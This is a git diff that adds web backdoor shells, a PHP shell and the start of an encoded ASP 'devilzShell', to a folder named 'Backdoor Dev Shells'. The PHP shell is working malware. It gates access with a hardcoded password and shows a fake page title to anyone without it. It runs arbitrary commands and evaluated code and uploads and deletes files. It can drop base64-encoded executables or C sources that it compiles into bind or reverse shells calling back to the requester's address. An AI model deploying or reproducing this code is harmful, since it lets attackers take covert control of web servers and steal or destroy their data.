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
+VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg
+KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA
+AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E
+TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA
+AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA
+AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+$shell_style = "
+
+";
+//################# FUNCTION GOES HERE #######################==============================================]
+function xclean($text){
+ if (get_magic_quotes_gpc()) {
+ $text = stripslashes($text);
+ }
+ return $text;
+}
+function xcleanpath($path){
+ if(is_dir($path)){
+ $path = urldecode(trim(xclean($path)));
+ $xSlash = DIRECTORY_SEPARATOR;
+ while(substr($path,-1) == $xSlash){
+ $path = rtrim($path,$xSlash);
+ }
+ return $path.$xSlash;
+ }
+ return $path;
+}
+function xparsedir($dir){
+ $xSlash = DIRECTORY_SEPARATOR;
+ $dirs = explode($xSlash,$dir);
+ $buff = "";
+ $dlink = "";
+ $system = trim(php_uname());
+ if(strtolower(substr($system,0,3)) != "win") {
+ $dlink .= urlencode($xSlash);
+ $buff .= "".$xSlash." ";
+ }
+ foreach($dirs as $d){
+ $d = trim($d);
+ if($d != ""){
+ $dlink .= urlencode($d.$xSlash);
+ $buff .= "".$d." ".$xSlash." ";
+ }
+ }
+ return "[ ".$buff." ] ";
+}
+function xfileopen($file){
+ $content = "";
+ if(is_file($file) || is_link($file)){
+ if($fp = fopen($file,"rb")){
+ while(!feof($fp)) {
+ $content .= fread($fp,1024);
+ }
+ fclose($fp);
+ }
+ }
+ return $content;
+}
+function xfilesave($file,$content){
+ $dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR));
+ if(!is_dir($dir)) mkdir($dir);
+ if($file != ""){
+ $handle = fopen($file, "wb");
+ if(fwrite($handle, $content) || ($content == "")){
+ fclose($handle);
+ return true;
+ }
+ fclose($handle);
+ }
+ return false;
+}
+function xtempfolder() {
+ if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
+ if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
+ if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
+ $tempfile=tempnam(__FILE__,'');
+ if (file_exists($tempfile)) {
+ unlink($tempfile);
+ return realpath(dirname($tempfile));
+ }
+ return null;
+}
+function xrmdir($dir) {
+ $files = glob($dir . '*', GLOB_MARK);
+ foreach( $files as $f ){
+ if(is_dir($f)) xrmdir($f);
+ else unlink($f);
+ }
+ if (is_dir($dir)) rmdir($dir);
+}
+function xhighlight($file){
+ $color_bg = ini_get('highlight.bg');
+ $color_html = ini_get('highlight.html');
+ $color_keyword = ini_get('highlight.keyword');
+ $color_default = ini_get('highlight.default');
+ $color_comment = ini_get('highlight.comment');
+ $color_string = ini_get('highlight.string');
+ $con = @highlight_file($file,true);
+ $con = str_ireplace($color_keyword,"#FF0082",$con);
+ $con = str_ireplace($color_default,"#F00000",$con);
+ $con = str_ireplace($color_string,"#888888",$con);
+ $con = str_ireplace($color_html,"#EEEEEE",$con);
+ return $con;
+}
+function xfilesummary($file){
+ $buff = "";
+ if(is_file($file) || is_link($file)){
+ $buff = "Filesize : ".xparsefilesize(xfilesize($file))." ( ".xfilesize($file)." ) :: Permission : ".xfileperms($file)." ( ".xfileowner($file)." ) :: modified : ".xfilelastmodified($file);
+ }
+ return $buff;
+}
+function xparsefilesize($size){
+ if($size <= 1024) return $size;
+ else{
+ if($size <= 1024*1024) {
+ $size = sprintf("%.02f",@round($size / 1024,2));
+ return $size." kb";
+ }
+ else {
+ $size = sprintf("%.02f",@round($size / 1024 / 1024,2));
+ return $size." mb";
+ }
+ }
+}
+function xfilesize($file){
+ if(is_file($file) || is_link($file)){
+ if($size = filesize($file)){
+ return $size;
+ }
+ }
+ return "0";
+}
+function xfileperms($file){
+ $isreadable = "-";
+ $iswriteable = "-";
+ if(is_file($file) || is_dir($file) || is_link($file)){
+ if(is_readable($file)) $isreadable = "r";
+ if(is_writeable($file)) $iswriteable = "w";
+ }
+ return $isreadable . " / " . $iswriteable;
+}
+function xfileowner($file){
+ if(is_file($file) || is_dir($file) || is_link($file)){
+ $fowner = fileowner($file);
+ $fgroup = filegroup($file);
+ if(function_exists('posix_getpwuid') && (function_exists('posix_getgrgid'))) {
+ $name=posix_getpwuid($fowner);
+ $group=posix_getgrgid($fgroup);
+ return trim($name['name'].":".$group['name']);
+ }
+ else{
+ return "???";
+ }
+ }
+ return "???";
+}
+function xdrive(){
+ $letters = "";
+ foreach (range("A","Z") as $letter){
+ $bool = @is_dir($letter.":\\");
+ if($bool){
+ $letters .= "[ ";
+ $letters .= $letter;
+ $letters .= " ] ";
+ }
+ }
+ if($letters != "") $letters .= " ";
+ return $letters;
+}
+function xfilelastmodified($file){
+ if(is_file($file) || is_dir($file) || is_link($file)){
+ $lastm = date("d-M-Y H:i",filemtime($file));
+ return $lastm;
+ }
+ return "???";
+}
+function xrunexploit($fpath,$base64,$port,$type){
+ $con = base64_decode($base64);
+ $system = trim(php_uname());
+ $final = "";
+ if(preg_match("/win/i",$system)){
+ $fname = "bd.exe";
+ $ip = "";
+ $ok = false;
+ $fpath = $fpath.$fname;
+ if(is_file($fpath)) unlink($fpath);
+ if(!xfilesave($fpath,$con)){
+ $tmp = xcleanpath(xtempfolder());
+ $fpath = $tmp.$fname;
+ if(xfilesave($fpath,$con)) $ok = true;
+ }
+ else $ok = true;
+ if($ok){
+ $fpath = trim($fpath);
+ if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
+ $final .= $fpath." ".$port." ".$ip;
+ ekse(trim($final));
+ return true;
+ }
+ }
+ else {
+ if($type == 'connect') $fname = "back";
+ else $fname = "bind";
+ $ip = "";
+ $ok = false;
+ $fpath = $fpath.$fname;
+ if(is_file($fpath.".c")) unlink($fpath.".c");
+ if(!xfilesave($fpath.".c",$con)){
+ $tmp = xcleanpath(xtempfolder());
+ $fpath = $tmp.$fname;
+ if(xfilesave($fpath.".c",$con)) $ok = true;
+ }
+ else $ok = true;
+ if($ok){
+ $fpath = trim($fpath);
+ if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
+ ekse("gcc ".$fpath.".c -o ".$fpath);
+ ekse("chmod +x ".$fpath);
+ if(is_file($fpath)){
+ $final .= $fpath." ".$port." ".$ip;
+ ekse(trim($final));
+ return true;
+ }
+ else return false;
+ }
+ }
+ return false;
+}
+function xeval($code){
+ $code = xclean($code);
+ @ob_start();
+ @eval($code);
+ $buff = @ob_get_contents();
+ @ob_end_clean();
+ return $buff;
+}
+function ekse($cmd){
+ if(function_exists('system')) {
+ @ob_start();
+ @system($cmd);
+ $buff = @ob_get_contents();
+ @ob_end_clean();
+ return $buff;
+ }
+ elseif(function_exists('exec')) {
+ @exec($cmd,$results);
+ $buff = "";
+ foreach($results as $result){
+ $buff .= $result;
+ }
+ return $buff;
+ }
+ elseif(function_exists('passthru')) {
+ @ob_start();
+ @passthru($cmd);
+ $buff = @ob_get_contents();
+ @ob_end_clean();
+ return $buff;
+ }
+ elseif(function_exists('shell_exec')){
+ $buff = @shell_exec($cmd);
+ return $buff;
+ }
+}
+function xdir($path){
+ $path = trim($path);
+ $path = xcleanpath($path);
+ if(is_dir($path)){
+ $fname = array();
+ $dname = array();
+ if($dh = @scandir($path)){
+ foreach($dh as $file){
+ if(is_dir($file)){
+ $dname[] = $file;
+ }
+ else{
+ $fname[] = $file;
+ }
+ }
+ }
+ else{
+ if($dh = @opendir($path)){
+ while($file = @readdir($dh)){
+ if(@is_dir($file)){
+ $dname[] = $file;
+ }
+ else{
+ $fname[] = $file;
+ }
+ }
+ @closedir($dh);
+ }
+ }
+ natcasesort($fname);
+ natcasesort($dname);
+ $buff = "
+ Filename
+ Filesize
+ Permission
+ Last Modified
+ Action ";
+ foreach($dname as $d){
+ $sd = $d;
+ if($d == "..") {
+ $nextdir = "..".DIRECTORY_SEPARATOR."..";
+ $d = xcleanpath(realpath($sd));
+ }
+ elseif($d == ".") {
+ $nextdir = "..";
+ $d = xcleanpath(realpath($sd));
+ }
+ else {
+ $nextdir = ".";
+ $d = xcleanpath(realpath(".".DIRECTORY_SEPARATOR.$sd));
+ }
+ $dir = $d;
+ $nextdir = xcleanpath(realpath($nextdir));
+ $buff .= "
+ [ ".$sd." ] ";
+ $buff .= "DIR ";
+ $buff .= "".xfileperms($d)." ";
+ $buff .= "".xfilelastmodified($d)." ";
+ $buff .= "Properties | Remove ";
+ $buff .= " ";
+ }
+ foreach($fname as $f){
+ $sf = $f;
+ $f = $path.$f;
+ $view = "?dir=".urlencode($path)."&view=".urlencode($f);
+ $buff .= "
+
+ ".$sf." ";
+ $buff .= "".xparsefilesize(xfilesize($f))." ";
+ $buff .= "".xfileperms($f)." ";
+ $buff .= "".xfilelastmodified($f)." ";
+ $buff .= "Edit | Download | Remove ";
+ $buff .= " ";
+ }
+ $buff .= "
";
+ return $buff;
+ }
+}
+//################# INIT GOES HERE #######################==================================================]
+error_reporting(0);
+@set_time_limit(0);
+ini_set("allow_url_fopen" ,1);
+ini_set("allow_url_include" ,1);
+ini_set("open_basedir",NULL);
+
+
+if(isset($_POST['passw'])){
+ $check = trim($_POST['passw']);
+ if($check == $shell_password){
+ setcookie("pass",$check,time() + 3600*24*7);
+ $m = $_SERVER['SCRIPT_NAME'];
+ header("Location: ".$m);
+ die();
+ }
+ else setcookie("pass",$check,time() - 3600*24*7);
+}
+if(isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']);
+else $check = "";
+if($check == $shell_password){
+ $auth = true;
+ }
+else $auth = false;
+if(isset($_GET['img'])){
+ $file = xclean($_GET['img']);
+ if(is_file($file)){
+ @ob_clean();
+ $inf = getimagesize($file);
+ $ext = explode(basename($file),".");
+ $ext = $ext[count($ext)-1];
+ @header("Content-type: ".$inf["mime"]);
+ @header("Cache-control: public");
+ @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ @header("Cache-control: max-age=".(60*60*24*7));
+ @readfile($file);
+ exit;
+ }
+ else{
+ $file = $$file;
+ $data = base64_decode($file);
+ @header("Content-type: image/png");
+ @header("Cache-control: public");
+ echo $data;
+ exit;
+ }
+}
+if(isset($_GET['get']) && ($_GET['get'] != "")){
+ $file = xclean($_GET['get']);
+ $filez = @file_get_contents($file);
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($filez));
+ header("Content-disposition: attachment; filename=\"".basename($file)."\";");
+ echo $filez;
+ exit;
+}
+$xCwd = xcleanpath(getcwd());
+if(isset($_GET['btnConnect']) && (is_numeric($_GET['bportC']))){
+ $port = $_GET['bportC'];
+ $dir = xcleanpath(xclean(trim($_GET['dir'])));
+ $system = trim(php_uname());
+ if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
+ else $base64 = $xBack;
+ if(xrunexploit($dir,$base64,$port,"connect")){
+ }
+}
+elseif(isset($_GET['btnListen']) && (is_numeric($_GET['lportC']))){
+ $port = $_GET['lportC'];
+ $dir = xcleanpath(xclean(trim($_GET['dir'])));
+ $system = trim(php_uname());
+ if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
+ else $base64 = $xBind;
+ if(xrunexploit($dir,$base64,$port,"listen")){
+ }
+}
+if(isset($_GET['dir']) && ($_GET['dir'] != "")){
+ $newdir = xcleanpath(xclean(trim($_GET['dir'])));
+ if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
+ $newdir = xcleanpath(xclean(trim($_GET['properties'])));
+ }
+ if(is_dir($newdir)){
+ if(chdir($newdir)) $xCwd = $newdir;
+ }
+ else{
+ $newdir = dirname($newdir);
+ if(is_dir($newdir)) if(chdir($newdir)) $xCwd = $newdir;
+ }
+ if(isset($_POST['btnNewUploadUrl'])){
+ $filename = xclean(trim($_POST['filename']));
+ $fileurl = xclean(trim($_POST['fileurl']));
+ if($filename == "") $filename = basename($fileurl);
+ $filepath = $newdir.$filename;
+ if($fileurl != ""){
+ $con = xfileopen($fileurl);
+ xfilesave($filepath,$con);
+ }
+ }
+ elseif(isset($_POST['btnNewUploadLocal'])){
+ if(is_uploaded_file($_FILES['filelocal']['tmp_name'])){
+ $filename = xclean(trim($_POST['filename']));
+ if($filename == "") $filename = $_FILES['filelocal']['name'];
+ $tmp_name = $_FILES['filelocal']['tmp_name'];
+ $filepath = $newdir.$filename;
+ $stat = @move_uploaded_file($tmp_name,$filepath);
+ }
+ }
+ if(isset($_GET['foldername']) && ($_GET['foldername'] != "")){
+ $fname = xcleanpath(xclean(trim($_GET['foldername'])));
+ if(!is_dir($newdir.$fname)) mkdir($newdir.$fname);
+ }
+ elseif(isset($_GET['del']) && ($_GET['del'] != "")){
+ $fdel = xclean(trim($_GET['del']));
+ if(is_file($fdel) || is_link($fdel)) unlink($fdel);
+ elseif(is_dir($fdel)){
+ xrmdir($fdel);
+ $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
+ $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
+ }
+ }
+ elseif(isset($_GET['childname']) && ($_GET['childname'] != "")){
+ $childname = $newdir.xclean(trim($_GET['childname']));
+ $con = xfileopen($_SERVER['SCRIPT_FILENAME']);
+ xfilesave($childname,$con);
+ }
+}
+if(isset($_GET['cmd']) && ($_GET['cmd'] != "")){
+ $cmd = xclean($_GET['cmd']);
+ if(preg_match("/^cd(.*)/i",$cmd,$c)){
+ $newdir = trim($c[1]);
+ $newdir = trim(urldecode(xclean($newdir)));
+ if($newdir == "\\") $xCwd = substr($xCwd,0,3);
+ else{
+ if(strpos($newdir,":") > 0){
+ if(is_dir($newdir)) $xCwd = xcleanpath(realpath($newdir));
+ }
+ elseif(is_dir($newdir)){
+ $xCwd = xcleanpath(realpath($newdir));
+ }
+ else{
+ if(is_dir($xCwd.$newdir)) $xCwd = xcleanpath(realpath($xCwd.$newdir));
+ }
+ }
+ $result = xdir($xCwd);
+ }
+ elseif(preg_match("/^(\w{1}:.*)/",$cmd,$dc)){
+ $newdir = trim($dc[1]);
+ if(is_dir($newdir)){
+ $xCwd = xcleanpath($newdir);
+ }
+ $result = xdir($xCwd);
+ }
+ else {
+ $result = ekse($cmd);
+ if($result != "") $result = nl2br(str_replace(" "," ",htmlentities($result)));
+ else {
+ $result = xdir($xCwd);
+ }
+ }
+
+}
+elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){
+ $result = htmlspecialchars(xeval($_GET['eval']));
+}
+elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){
+ $fname = xcleanpath(xclean($_GET['properties']));
+ if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
+ $oldname = xclean($_GET['oldfilename']);
+ rename($oldname,$fname);
+ }
+ $dir = xclean($_GET['dir']);
+ $fcont = "";
+ $fview = "";
+ if(is_dir($fname)){
+ $fsize = "DIR";
+ $fcont = xdir($fname);
+ $faction = "Properties | Remove ";
+ }
+ else{
+ $fname = rtrim($fname,DIRECTORY_SEPARATOR);
+ $fsize = xparsefilesize(xfilesize($fname))." ( ".xfilesize($fname)." bytes ) ";
+ $type = "";
+ if(isset($_GET['type'])) $type = trim(xclean($_GET['type']));
+ $iinfo = getimagesize($fname);
+ $imginfo = "";
+ if($type == ""){
+ if(is_array($iinfo)) $type = 'img';
+ else $type = 'text';
+ }
+ if($type == 'code'){
+ if($code = xhighlight($fname))
+ $fcont = "".$code."
";
+ }
+ elseif($type == 'img'){
+ $width = (int) $iinfo[0];
+ $height = (int) $iinfo[1];
+ $imginfo = "Image type = ( ".$iinfo['mime']." ) Image Size = ( ".$width." x ".$height." ) ";
+ if($width > 800){
+ $width = 800;
+ $imglink = "[ view full size ]
";
+ }
+ else $imglink = "";
+
+ $fcont = "".$imglink."
";
+ }
+ else{
+ $code = htmlspecialchars(file_get_contents($fname));
+ $fcont = "".nl2br($code)."
";
+ }
+ $faction = "Edit | Download | Remove ";
+ $fview = "[ text ] [ code ] [ image ] ";
+ }
+ $fowner = xfileowner($fname);
+ $fperm = xfileperms($fname);
+ $result = "
+ ";
+}
+elseif((isset($_GET['view']) && ($_GET['view'] != "")) || ((isset($_GET['filename']) && ($_GET['filename'] != "")))){
+ $msg = "";
+ if(isset($_POST['save']) && ($_POST['save'] == "Save As")){
+ $file = xclean(trim($_POST['saveAs']));
+ $content = xclean($_POST['filesource']);
+ if(xfilesave($file,$content)) $pesan = "File Saved";
+ else $pesan = "Failed to save file";
+ $msg = "[ ".$pesan." ] ";
+ }
+ else {
+ if(isset($_GET['view']) && ($_GET['view'] != "")) $file = xclean(trim($_GET['view']));
+ else $file = $xCwd.xclean(trim($_GET['filename']));
+ }
+ $result = xfileopen($file);
+ $result = htmlentities($result);
+ $result = "
+ ".xfilesummary($file)." ".$msg."
+
+".$result."
+
+
+
+ ";
+}
+else{
+ $result = xdir($xCwd);
+}
+//################# Finalizing #######################======================================================]
+if($auth){
+ if(isset($_GET['bportC'])) $bportC = $_GET['bportC'];
+ else $bportC = $shell_fav_port;
+ if(isset($_GET['lportC'])) $lportC = $_GET['lportC'];
+ else $lportC = $shell_fav_port;
+ $html_title = $shell_title." ".$xCwd;
+ $html_head = "
+".$html_title."
+
+".$shell_style."
+
+";
+$html_body = "
+
+
+
".$xHeader."
+
+".xdrive().xparsedir($xCwd)."
+
+
+
+
+
+
+
+
+
+";
+}
+else {
+ $html_title = $shell_fake_name;
+ $html_head = "".$html_title." ".$shell_style;
+ $html_body = "
+";
+}
+if(isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload = "onload=\"document.getElementById('cmd').focus();\"";
+else $html_onload = "";
+$html_final = "
+
+".$html_head."
+
+
+
+".$html_body."
+
+
+";
+echo preg_replace("/\s+/"," ",$html_final);
+?>
\ No newline at end of file
diff --git a/Backdoor Dev Shells/devshell.asp b/Backdoor Dev Shells/devshell.asp
new file mode 100644
index 0000000..c467192
--- /dev/null
+++ b/Backdoor Dev Shells/devshell.asp
@@ -0,0 +1,20 @@
+<%@ Language = "VBscript.Encode" %>
+<%
+'# devilzShell <[asp]>
+'# ^^^^^^^^^^^^
+'# author: b374k
+'# greets: devilzc0der(s) and all of you who love peace and freedom
+'#
+'#
+'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+'# Jayalah Indonesiaku
+
+
+shell_name = "devilzShell"
+shell_fake_name = "Server Logging System"
+shell_title = " :: " & shell_name & " ::"
+shell_version = "v1"
+shell_password = "devilzc0der"
+shell_fav_port = "12345"
+shell_color = "#374374"
+%><%#@~^FgAAAA==~}x~ADMWD,IdEs+~16O~dwcAAA==^#~@%><%#@~^GgAAAA==~U+.7+MR?1Db2Y:kh+KEOx+!!,FAkAAA==^#~@%><%#@~^EwAAAA==~k+dkkKxR^mb['y!XG,GQYAAA==^#~@%><%#@~^MvsAAA==@#@&6jK0DhlM+,xPXY.ks`]n$E+kORU+D7n..mDbl8VndvJj2"#2"{j6wK)]AJb#@#@&X?zkY:P{P}j\Dc#@#@&ajD\.qhP',]n;!+kY ?n.7+..m.km4snk`JJ6;bJ{z9GIE*@#@&6Z^kUY&n~',In5!+/D ?D\.#lMkm4s+dcrI3H}P2|b99"J#@#@&@#@&aCC9+.,',6?K0DAlM+~[,J@!8MPz@*EPLP6UzdY:,[~J@!8MP&@*UnD7+.~&n)~@!kwCx,^^ldk'rJomE^EJ@*$~@!J/2C @*J,'PX?+M-nD&n,[~J@!dalUP1slk/xErol;srJ@*PY@!J/2mx@*[x(/aI[ 4dwp[U8kwiIGEMPqhl~@!kwmx~msCk/xJrLl!VEE@*$P@!&kwCx@*E,[~XZ^k+ Y&KPLPE@!kwCU,mVmd/{JJTC;VrJ@*PD@!&dalU@*r@#@&bmGU,'PErjA6ISTnMLKbzbbg?`42`o)bzA))zbb5/bIbbz)W%J,4b)b$&0V3pj]cyW+]U oi}"Z!;F._ATMhrP[|@#@&EcskAsq.hKU:q_2l5?h59*k7MnCdqh(}X$tx3K`f%]mHq3%:3*ogo&EO~hUm5R+~4,mALX;M/rnEcr~[|@#@&r3*3.A0!;khr& q(qAo(HG.}ww;h!|;;MM%]\: L6^%b]!_ 9y6|PT2C/jJtj_r7n*D1%X3*EeOXJ~[|@#@&rN/uTMpu^J?[b!5S}$OL;b2FI ASVI0t_4rFlzl5"Z1Z!wK&_! IM*|Kay_2FWj|jK8o&kn[(Fznkr~L{@#@&JKS,Rh4hbD%8\2r{eR,/&- O3y}2j\A1"cqVj9894!~}SMW0N;&C1 lz+Dpy|#40YlRMsTx!hLCrP'm@#@&JZQs&K?XL"nTYs&}tdX$IQ3TW;Sqe!T.EPh0vT2h5Jw*S ~!S0MlQVFqXj9&$ikWA~smZE2j6C3qjrP'{@#@&r\aHdF1$b0#Wm!.tqXt!^"(q+t,MKwg0n9_"k).3Hp1kZk1_H. ^J3mmhoCj-^g6^E! Cq,KLM J~'|@#@&JX}x+!!,`/GIxN2Hmsd2ys!64%Ngq ^c,U%%jVWW3eh3XW6f+$ &6(sBNDlAjt\Jng0(D8DAZ%tHwr~[|@#@&JTleAmqowP9N2!^Xs&S0z.]N(HW;}KRPz9tOX(Y451a.]z^Bw2iqCqtsO0 